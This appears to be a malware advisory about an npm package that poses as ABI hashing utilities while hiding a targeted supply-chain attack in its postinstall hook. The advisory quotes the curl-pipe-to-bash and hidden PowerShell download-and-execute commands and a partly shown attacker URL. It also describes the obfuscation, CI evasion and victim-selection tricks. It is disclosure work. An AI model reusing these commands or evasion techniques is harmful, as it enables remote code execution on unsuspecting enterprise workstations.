MAL-2026-15821

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (bebef764845634817dcc9905a146c3ba898707dcc9937ebfe0060a4f10852d27) On npm install, the package's postinstall hook resolves a URL that is stored as an XOR-encoded integer array in endpoint-registry.json (self-labeled 'ss-xor-v1') and reconstructed at runtime; the decoded destination is https://mexc-12584333570.cos.ap-beijing.myqcloud.com/abi-tool-.... On Unix the hook runs `curl -fsSL '<url>' | bash`; on Windows it runs `powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command iex (iwr -UseBasicParsing -Uri $uri).Content`. There is no pin, hash, or signature check on the fetched bytes. Execution is gated: CI environments are short-circuited, and the payload only fires on Windows/macOS hosts where both a collaboration client (Lark or Feishu) and FortiClient VPN are detected, narrowing execution to enterprise workstations. The child is launched with `detached: true`, `stdio: 'ignore'`, `windowsHide: true`, and the postinstall swallows all errors and force-exits 0 so `npm install` reports success. The package advertises ABI selector hashing utilities; there is no legitimate need to fetch and execute a hidden remote shell payload at install time. The combination of destination obfuscation, victim-selection targeting a Lark/Feishu+FortiClient enterprise cohort, CI evasion, and stealth process flags is a targeted supply-chain attack against managed enterprise endpoints.